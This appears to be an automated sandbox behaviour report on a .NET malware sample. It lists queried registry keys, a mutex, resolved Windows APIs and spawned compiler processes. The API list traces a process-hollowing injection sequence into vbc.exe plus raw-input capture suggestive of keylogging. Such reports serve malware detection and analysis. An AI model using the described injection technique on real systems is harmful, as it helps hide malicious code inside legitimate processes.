HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\EE895BF0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

YbcwLUQv

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.GetNativeSystemInfo
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.CloseHandle
kernel32.dll.GetCurrentProcess
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.GetTempPathW
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
kernel32.dll.GetFullPathNameW
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
kernel32.dll.SetThreadErrorMode
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.WriteFile
kernel32.dll.GetFileAttributesExW
kernel32.dll.GetCurrentDirectoryW
kernel32.dll.GetStdHandle
kernel32.dll.GetEnvironmentStrings
kernel32.dll.GetEnvironmentStringsW
kernel32.dll.FreeEnvironmentStringsW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateProcessW
kernel32.dll.DuplicateHandle
kernel32.dll.GetExitCodeProcess
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
kernel32.dll.DeleteFileW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.FindResourceA
kernel32.dll.SizeofResource
kernel32.dll.LoadResource
kernel32.dll.LockResource
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromStream
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
shell32.dll.SHGetFolderPathW
kernel32.dll.CopyFileW
kernel32.dll.DeleteFileA
kernel32.dll.WideCharToMultiByte
kernel32.dll.CompareStringOrdinal
clr.dll.CreateAssemblyNameObject
ole32.dll.CoGetObjectContext
sechost.dll.LookupAccountNameLocalW
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
clr.dll.CreateAssemblyEnum
kernel32.dll.ResolveLocaleName
kernel32.dll.LoadLibraryA
kernel32.dll.GetProcAddress
kernel32.dll.GetModuleHandleA
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
kernel32.dll.CreateProcessA
kernel32.dll.GetThreadContext
kernel32.dll.Wow64GetThreadContext
kernel32.dll.SetThreadContext
kernel32.dll.Wow64SetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
kernel32.dll.ResumeThread
ole32.dll.CoUninitialize
oleaut32.dll.#500
advapi32.dll.EventUnregister
gdiplus.dll.GdipDisposeImage
cryptsp.dll.CryptReleaseContext
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
kernel32.dll.GetProcessPreferredUILanguages
kernel32.dll.GetUserDefaultUILanguage
version.dll.GetFileVersionInfoSizeA
version.dll.GetFileVersionInfoA
version.dll.VerQueryValueA
alink.dll.CreateALink
mscoree.dll.CLRCreateInstance
mscoreei.dll.CLRCreateInstance
cryptsp.dll.CryptAcquireContextA
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
clr.dll.DllGetClassObjectInternal
clr.dll.StrongNameTokenFromPublicKey
clr.dll.StrongNameFreeBuffer
clr.dll.CompareAssemblyIdentityWithConfig
clr.dll.CreateAssemblyConfigCookie
clr.dll.DestroyAssemblyConfigCookie
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptExportKey
cryptsp.dll.CryptDestroyKey
mscorpehost.dll.InitializeSxS
mscorpehost.dll.CreateICeeFileGen
mscorpehost.dll.DestroyICeeFileGen
ole32.dll.CoCreateGuid
diasymreader.dll.DllGetClassObject
rpcrt4.dll.UuidCreate
kernel32.dll.NlsGetCacheUpdateCount
ole32.dll.CreateStreamOnHGlobal
mscoree.dll.CorExitProcess
mscoreei.dll.CorExitProcess
user32.dll.RegisterRawInputDevices
user32.dll.GetRawInputData
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware

Execute Commands

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Seven01\AppData\Local\Temp\x1k0giwa.cmdline"
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Seven01\AppData\Local\Temp\RESABD0.tmp" "c:\Users\Seven01\AppData\Local\Temp\CSC1587E79243CC4BDA8F693EFEAEB5AF.TMP"

Started Services

Nothing to display

Created Services

Nothing to display

#infosec #automation

TheSystem Itself @ 2018-04-25 17:39:09